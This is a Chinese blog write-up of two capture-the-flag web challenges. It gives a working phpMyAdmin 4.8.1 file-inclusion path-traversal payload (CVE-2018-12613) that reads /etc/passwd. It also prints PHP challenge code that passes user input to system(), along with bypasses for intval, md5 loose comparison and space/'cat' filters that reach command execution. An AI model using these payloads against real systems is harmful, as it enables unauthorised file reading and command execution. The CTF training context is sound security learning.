buu做题(6)

目录

[[GWCTF 2019]我有一个数据库](#[GWCTF 2019]我有一个数据库)

[WUSTCTF2020]朴实无华


[GWCTF 2019]我有一个数据库

什么都没有, 尝试用dirsearch扫一下目录

可以扫到一个 /phpmyadmin

可以直接进入到数据库里面

但里面没什么东西

可以看到它的版本不是最新的, 搜一下相关的漏洞

phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客

在index.php 也没有一个 文件包含漏洞, 可以目录遍历

复制代码
include $_REQUEST['target'];

有相应的payload:

/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../etc/passwd

直接读flag 就行

[WUSTCTF2020]朴实无华

似乎有个header头跳转

扫一下目录 可以发现 robots.txt

抓个包 可以发现 /fl4g.php

全是乱码的, 不过不影响做题

php 复制代码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

if(intval($num) < 2020 && intval($num + 1) > 2021)

使用 e 绕过 (本地测试一下就行)
num=2000e1

if ($md5==md5($md5))

md5=0e00275209979

网上挺多这样满足这样的表达式的数字 ,

if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);

过滤了空格 和 cat

tac 代替 cat

IFS9代替空格
get_flag=tacIFS9f*

相关推荐
凯尔萨厮2 小时前
创建Web项目(Maven管理)
java·maven·web
Cat_Rocky3 小时前
利用共享存储,分机实现LNMRP
web
青枣八神4 小时前
如何让手机访问电脑本地的前端服务器网页(Vite等前端项目)
服务器·前端·web·手机访问
爱分享的阿Q19 小时前
RustWebAssembly商用元年从实验到生产完整迁移指南
rust·web·wasm
曲幽19 小时前
我用fastapi-scaff搭了个项目,两天工期缩到两小时,老板以为我开挂了
python·api·fastapi·web·celery·cli·db·alembic·fastapi-scaff
tingting01191 天前
安全之-web前端基础
web
quxuexi2 天前
网络通信安全与可靠传输:从加密到认证,从状态码到可靠传输
java·安全·web
曲幽2 天前
FastAPI+Vue:文件分片上传+秒传+断点续传,这坑我帮你踩平了!
python·vue·upload·fastapi·web·blob·chunk·spark-md5
身如柳絮随风扬3 天前
Servlet:访问流程、核心接口与生命周期
java·servlet·web
钛态3 天前
前端WebSocket实时通信:别再用轮询了!
前端·vue·react·web